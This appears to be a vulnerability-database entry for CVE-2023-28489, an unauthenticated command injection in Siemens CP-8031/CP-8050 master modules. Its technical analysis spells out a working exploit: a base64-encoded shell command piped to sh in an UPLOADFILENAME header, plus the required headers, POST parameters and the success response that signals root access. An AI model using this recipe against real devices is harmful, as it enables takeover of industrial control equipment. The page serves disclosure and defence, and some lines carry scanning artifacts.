Very High
CVE-2023-28489
CVE ID
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CVE-2023-28489
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
A vulnerability has been identified in CP-8031 MASTER MODULE (All versions < CPCI85 V05), CP-8050 MASTER MODULE (All versions < CPCI85 V05). Affected devices are vulnerable to command injection via the web server port 443/tcp, if the parameter “Remote Operation” is enabled. The parameter is disabled by default.
The vulnerability could allow an unauthenticated remote attacker to perform arbitrary code execution on the device.
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Ratings
-
Attacker ValueVery High
-
ExploitabilityMedium
Technical Analysis
To exploit this vulnerability, an HTTP request including the command must be crafted. No / characters can be used, therefore commands are encoded as base64, e.g., “id” as “aWQ=“. The command must be provided as UPLOADFILENAME header.
A full command would look like this
echo aWQ=| base64 -d | sh #
The following header format must be obeyed:
e User-Agent: SICAM TOOLBOX Il
¢ Session-ID: [ARBITRARY 16 CHARACTERS]
e UPLOADFILENAME: [COMMAND]
Additionally, the request body must contain the following POST parameters:
« type=20
« length=[ARBITRARY]
¢ data=[ARBITRARY]
If it worked, the response body will be *type=21”, congrats you’re root now.
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General Information
Vendors
- siemens
Products
- cp-8031 firmware,
- cp-8050 firmware
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
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